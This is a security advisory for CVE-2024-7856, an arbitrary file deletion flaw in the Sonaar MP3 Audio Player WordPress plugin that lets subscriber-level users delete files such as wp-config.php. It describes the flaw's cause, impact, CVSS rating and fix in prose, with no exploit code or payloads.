CVE-2024-7856
Overview
This vulnerability is an arbitrary file deletion flaw rooted in insufficient authorization and path validation controls within the Sonaar MP3 Audio Player plugin for WordPress. Specifically, the removeTempFiles() function lacks a capability check, and the 'file' parameter is not properly validated for path traversal. These issues affect all plugin versions up to and including 5.7.0.1, compromising the integrity of file handling mechanisms in the plugin's temporary file management component.
Vulnerability Description
The MP3 Audio Player – Music Player, Podcast Player & Radio by Sonaar plugin for WordPress is vulnerable to unauthorized arbitrary file deletion due to a missing capability check on the removeTempFiles() function and insufficient path validation on the 'file' parameter in all versions up to, and including, 5.7.0.1. This makes it possible for authenticated attackers, with subscriber-level access and above, to delete arbitrary files which can make remote code execution possible when wp-config.php is deleted.
Impact
An attacker with subscriber-level or higher authentication can delete arbitrary files on the hosting server, including wp-config.php. This deletion can disrupt site functionality and potentially enable remote code execution by forcing WordPress to regenerate configuration files or fallback to insecure states. The vulnerability requires network access to the WordPress installation and valid user credentials (AV:N/AC:L/PR:L/UI:N). The impact includes service disruption, potential privilege escalation, and compromise of site integrity as indicated by the CVSS vector (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H).
Solution
Upgrade the Sonaar MP3 Audio Player plugin to a version later than 5.7.0.1 where this vulnerability is addressed. The Wordfence advisory (https://www.wordfence.com/threat-intel/vulnerabilities/id/43adc9dd-1780-440f-90c2-ff05a22eb084) provides patch details and confirms the fix involves adding proper capability checks and path validation in the removeTempFiles() function. Site administrators should apply this update promptly to mitigate the risk of arbitrary file deletion.

Full Analysis
The vulnerability in the MP3 Audio Player plugin for WordPress arises from a missing capability check in the removeTempFiles() function, coupled with inadequate path validation on the 'file' parameter. This flaw allows authenticated users, even those with minimal privileges such as subscriber-level access, to delete arbitrary files on the server. The lack of proper authorization checks means that once an attacker gains access to a WordPress account with sufficient privileges, they can exploit this vulnerability to target critical files, including wp-config.php. The deletion of this configuration file can lead to severe consequences, including the potential for remote code execution, which could compromise the entire web application.
Attack vectors for this vulnerability are particularly concerning due to the ease with which an attacker can exploit it. An attacker with authenticated access can craft a request to the removeTempFiles() function, specifying the path of the file they wish to delete. This could be done through a simple HTTP request, making it accessible even to less sophisticated attackers. Scenarios may include deleting essential files that disrupt the normal operation of the website or, more critically, targeting configuration files that could allow for further exploitation. Once wp-config.php is deleted, the attacker could gain complete control over the WordPress instance, leading to data breaches, defacement, or the installation of backdoors for future access.
The real-world impact of this vulnerability is significant, particularly for businesses relying on the affected plugin for their audio content delivery. The ability to delete critical files can lead to prolonged downtime, loss of data, and a tarnished reputation. For organizations that depend on their online presence for revenue, such disruptions can result in substantial financial losses. Additionally, if sensitive data is compromised due to an attack exploiting this vulnerability, the organization could face legal repercussions and regulatory fines, further amplifying the business risk.
To detect and mitigate this vulnerability, organizations should implement several strategies. First, it is crucial to keep the MP3 Audio Player plugin and all other WordPress components updated to the latest versions, as updates often include patches for known vulnerabilities. Regular security audits and vulnerability assessments can help identify potential weaknesses in the system. Furthermore, employing a web application firewall (WAF) can provide an additional layer of protection by filtering out malicious requests before they reach the application. Implementing strict access controls and ensuring that users have only the permissions necessary for their roles can also help mitigate the risk of exploitation.
In conclusion, the vulnerability present in the MP3 Audio Player plugin for WordPress poses a serious threat to the integrity and security of affected systems. The combination of inadequate capability checks and path validation creates a pathway for authenticated attackers to delete critical files, leading to severe consequences for organizations. By understanding the technical details, potential attack vectors, and real-world impacts, businesses can better prepare themselves to detect and mitigate this vulnerability, thereby safeguarding their digital assets and maintaining operational continuity.
